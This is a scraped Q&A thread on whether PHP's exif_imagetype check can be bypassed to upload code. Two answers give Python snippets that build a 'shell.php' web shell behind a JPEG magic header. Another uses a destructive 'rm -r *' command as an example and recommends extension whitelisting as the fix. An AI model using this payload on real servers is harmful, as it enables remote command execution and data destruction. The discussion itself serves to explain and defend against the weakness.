Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

How to bypass the exif_imagetype function to upload php code?

I read that exif_imagetype is secure function to avoid uploading php or other shell code instead of image file. Recently i read another article that we can bypass this secure function by some simple methods. So if someone knows the exact method to bypass can u share your answers.

I used following code in my php script so i wanted to know this is vulnerable or not and remedy for the same

 if (! exif_imagetype($_FILES['upload']['tmp_name'])) 
   { 
    echo "File is not an image";
   }
like image 992
Vi Vek Avatar asked Aug 21 '13 12:08

Vi Vek


3 Answers

@solidak 's answer works for python2 since it is deprecated now, here is a Python3 rewrite:

>>> fh = open('shell.php', 'wb')
>>> fh.write(b'\xFF\xD8\xFF\xE0' + b'<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
like image 72
FazeL Avatar answered Nov 15 '22 17:11

FazeL


It's a bit more complicated that just running exif_imagetype. That function simply checks the magic number at the beginning of the file, so more checks are needed. Without more knowledge of your software, it's hard to make a judgement, but consider this example:

I construct "shell.php" with the JPEG magic number 0xFFD8FFE0 followed by the string <? passthru($_GET["cmd"]); ?>.

I upload it to your server. The magic number bypasses exif_imagetype. The file is uploaded to www.your-domain.com/uploads/shell.php. I then navigate to www.your-domain.com/uploads/shell.php?rm -r *. The server finds the starting <? and starts interpreting PHP. Yay! I've deleted all your uploads assuming you're running on a Linux webserver.

Even doing a deeper check on the validity of the image won't help, because I could include my malicious script in the metadata of the image. This is only prevented by using a whitelist of file extensions.

[TL;DR] It's not secure without more checking. You need to ensure an appropriate file name, use a whitelist of file extensions, limit file size, and perform standard security measures.

like image 33
jake_the_snake Avatar answered Nov 15 '22 18:11

jake_the_snake


Based on Mr. @jake_the_snake's answer, I would also include a quick code sample in Python

>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
like image 33
solidak Avatar answered Nov 15 '22 18:11

solidak